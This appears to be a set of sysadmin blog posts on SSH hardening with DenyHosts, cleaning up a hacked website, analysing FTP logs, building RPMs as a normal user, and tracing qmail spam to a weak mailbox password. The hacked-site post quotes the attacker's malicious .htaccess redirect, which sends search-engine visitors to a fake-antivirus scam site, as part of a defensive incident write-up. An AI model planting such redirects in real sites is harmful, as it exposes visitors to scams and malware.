I would not talk about how important is to secure your ssh server. One of the tools that helps us to secure ssh server is DenyHosts. From the DenyHosts home page:

DenyHosts is a script intended to be run by Linux system administrators to help thwart SSH server attacks (also known as dictionary based attacks and brute force attacks).

Sending accidentally wrong password to server will block your access. You can avoid it by using public key authentication or when it’s not possible you can configure DenyHosts to ignore IP addresses from your network:

How can I prevent a legitimate IP address from being blocked by DenyHosts?

Since it is quite possible for a user to mistype their password repeatedly it may be desirable to have DenyHosts prevent specific IP addresses from being added to /etc/hosts.deny. To address this issue, create a file named allowed-hosts in the WORK_DIR. Simply add an IP address, one per line. Any IP address that appears in this file will not be blocked.
[...]

more

I do prefer the TCP wrappers way, I’ll just bypass DenyHosts for local networks.

Configure DenyHosts to write blocked IPs to /etc/denyhosts/blocked:

# /etc/denyhosts/denyhosts.cfg
HOSTS_DENY = /etc/denyhosts/blocked
BLOCK_SERVICE  =

Allow ssh connection if listed in /etc/denyhosts/ignored, and then the last rule is to allow ssh access unless listed in /etc/denyhosts/blocked:

#
# hosts.allow   This file describes the names of the hosts which are
#               allowed to use the local INET services, as decided
#               by the '/usr/sbin/tcpd' server.
#
 
# ssh access
sshd: /etc/denyhosts/ignored : allow
sshd: ALL EXCEPT /etc/denyhosts/blocked

Add IPs/networks to ignore:

# /etc/denyhosts/ignored
# hosts allowed to connect bypassing DenyHosts
192.168.10.0/255.255.255.0

More on the file format:

man hosts.allow

Today the website of one of the clients was blacklisted by Google by containing malicious software that downloads and installs without user’s consent. Google displayed “This site may harm your computer” under website in the results page.

Analyzing site’s sources we found obfuscated JavaScript code inserted near body, html tags in .html, .php, .tpl files and a .htaccess file with following content:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]^M
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]^M
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://real-antispyware.info/0/go.php?sid=2 [R,L]

Hmm, visitors from search engines were redirected to real-antispyware.info. This website is a scam that shows some JavaScript animation fulling the user with a message that his computer is infected and prompts him to download and install a fake AntiVirus.

Analyzing IP addresses from ftp logs we found connections from Russia and China that altered client’s website. Somehow they got user’s ftp password (it can be done in so many ways: weak password, traffic sniffing, virus, keylogger, trojan, …) and they altered website files.

You can use this simple Ruby script to analyze your ftp logs. By default it is configured for a Plesk server, and it will show suspicious lines (change IGNORE variables to fit your needs). You may need to install rubygems and geoip gem.

#!/usr/bin/ruby
 
require 'rubygems'
require 'geoip'
require 'zlib'
 
# hide logs from these countries
# Example: RO US
IGNORE_COUNTRIES = %w{RO US}
# free geoip database is not 100% accurate
# we may need to ignore a few ip addresses
IGNORE_IP = %w{127.0.0.1 127.0.0.2}
 
files = Dir.glob("/usr/local/psa/var/log/xferlog*")
geoip = GeoIP.new('/var/lib/GeoIP/GeoIP.dat')
 
def ip2country(geoip, ip)
  country = geoip.country(ip)[3]
end
 
ip_list = []
files.each do |filename|
  puts ""
  puts "Processing #{filename} ..."
 
  File.open(filename) do |f|
    input = f
    input = Zlib::GzipReader.new(f) if File.extname(filename) == ".gz"
 
    while line = input.gets do
      ip = line.split(/\s+/)[6]
 
      unless ip_list.include? ip
        country = ip2country(geoip, ip)
        unless IGNORE_COUNTRIES.include? country.upcase or IGNORE_IP.include? ip
          puts " [#{country} : #{ip}] => #{line}"
        end
        ip_list << ip
      end
   end
  end
end

Steps that needs to followed:

1. Change FTP password
2. Upload a clean copy from the backups of the website
3. Submit the website in the Webmaster’s Tools for reconsideration
4. Audit your company security: computers, firewalls, antiviruses, software, …

You may find useful diagnose tool from the Google (replace example.com with your domain):

http://www.google.com/safebrowsing/diagnostic?site=http://example.com

It’s not recommended to build your RPMS as root. You can build them as simple user, to accomplish this, you need to create a file called .rpmmacros in your home directory (we’ll assume that your user name is joe and your home directory is /home/joe):

# ~/.rpmmacros
%_topdir /home/joe/rpmbuild
%_tmppath %{_topdir}/tmp

Then create required directories:

[joe@lynx ~]$ mkdir -p ~/rpmbuild/{BUILD,RPMS/{noarch,i386,i586,i686,x86_64},SOURCES,SPECS,SRPMS,tmp}

You are ready to build your RPMS as simple user.

Today I’ve received an alert from the monitoring system, the mails count from server’s queue was too high.

Depending on the numbers of the clients hosted on the server more than 500 of mails lasting more than half hour in the queue is meaning that someone has sent a newsletter or spam.

Let’s ssh there and study the problem. Firstly we should look at the server’s queue:

[root@ulise ~]# /var/qmail/bin/qmail-qstat 
messages in queue: 758
messages in queue but not yet preprocessed: 0

We do have 758 mails in the queue. Let’s examine the queue with qmail-qread. Seeing a bunch of strange email addresses in the recipient list usually it’s meaning spam.

[root@ulise ~]# /var/qmail/bin/qmail-qread
[...]

You can examine the email content of the emails in the queue using Plesk interface or just less command. Firstly we should find message’s id using qmail-qread, then find the file holding the email in /var/qmail/queue with find command.

[root@ulise ~]# /var/qmail/bin/qmail-qread
[...]
18 Jul 2008 02:01:11 GMT  #22094026  1552  <> 
        remote  user@yahoo.com
[...]
 
[root@ulise ~]# find /var/qmail/queue/ -name 22094026
/var/qmail/queue/mess/19/22094026
/var/qmail/queue/remote/19/22094026
/var/qmail/queue/info/19/22094026
 
[root@ulise ~]# less /var/qmail/queue/mess/19/22094026
Received: (qmail 10728 invoked from network); 22 Jul 2008 19:40:46 +0300
Received: from unknown (HELO User) (86.107.221.138)
  by domain.com with SMTP; 22 Jul 2008 19:40:46 +0300
Reply-To: <support@PayPal.Inc.com>
From: "PayPal"<support@PayPal.Inc.com>
Subject: Dispute Transaction
Date: Tue, 22 Jul 2008 19:40:52 +0300
MIME-Version: 1.0
Content-Type: text/html;
        charset="Windows-1251"
Content-Transfer-Encoding: 7bit
X-Priority: 1
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
[...]

Oops, we do have some spam in the queue that’s received from the network (IP: 86.107.221.138). We should remove spam from the queue or the server IP address will finish listed in the RBLs, qmail-remove is the right tool for this job.

Check the number of the spams with the spam pattern (”PayPal.Inc.com” in this case):

[root@ulise ~]# qmail-remove -p 'PayPal.Inc.com'

Now, remove spams (notice the ‘-r’ switch), they all will end up in the /var/qmail/queue/yanked directory. Don’t forget to stop qmail daemon before (/etc/init.d/qmail stop) :

[root@ulise ~]# qmail-remove -r -p 'PayPal.Inc.com'

In a few minutes we do have more emails with the same patterns from the same ip address. That’s great, we do have opportunity to examine smtp traffic from the spammer’s ip address. Run tcpdump and wait a few minutes.

[root@ulise ~]# tcpdump -i eth0 -n src 86.107.221.138 \or dst 86.107.221.138 -w smtp.tcpdump -s 2048

Examining log file with less or wireshark we found that spammer is sending spam using LOGIN authentication:

220 ulise.domain.com ESMTP
ehlo User
250-ulise.domain.com
250-AUTH=LOGIN CRAM-MD5 PLAIN
250-AUTH LOGIN CRAM-MD5 PLAIN
250-STARTTLS
250-PIPELINING
250 8BITMIME
AUTH LOGIN
334 VXNlcm5hbWU6
dGVzdA==
334 UGFzc3dvcmQ6
MTIzNDU=
235 go ahead

Interesting, let’s decode the user/pass to see which account is used:

[root@ulise ~]# perl -MMIME::Base64 -e 'print decode_base64("dGVzdA==")'
test
[root@ulise ~]# perl -MMIME::Base64 -e 'print decode_base64("MTIzNDU=")'
12345

So, someone created a test account with a weak password and someone else guessed it and is sending spam through the server.

Let’s find the domain owning of the mailbox:

[root@ulise ~]# mysql -uadmin -p`cat /etc/psa/.psa.shadow` psa 
[...]
mysql> SELECT m.mail_name, d.name, a.password FROM mail AS m LEFT JOIN (domains AS d, accounts AS a) ON (m.dom_id = d.id AND m.account_id = a.id) WHERE m.mail_name='test' AND a.password='12345';
+-----------+------------+----------+
| mail_name | name       | password |
+-----------+------------+----------+
| test      | example.com | 12345    | 
+-----------+------------+----------+
1 row in set (0.01 sec)

Next step is to delete test mailbox and send a warning to client.

To improve your server’s security you’ll need to enable:
Server -> Mail -> Check the passwords for mailboxes in the dictionary

Creating a mailbox “test” with password “12345″ is a stupid thing and spammers just love to exploit it.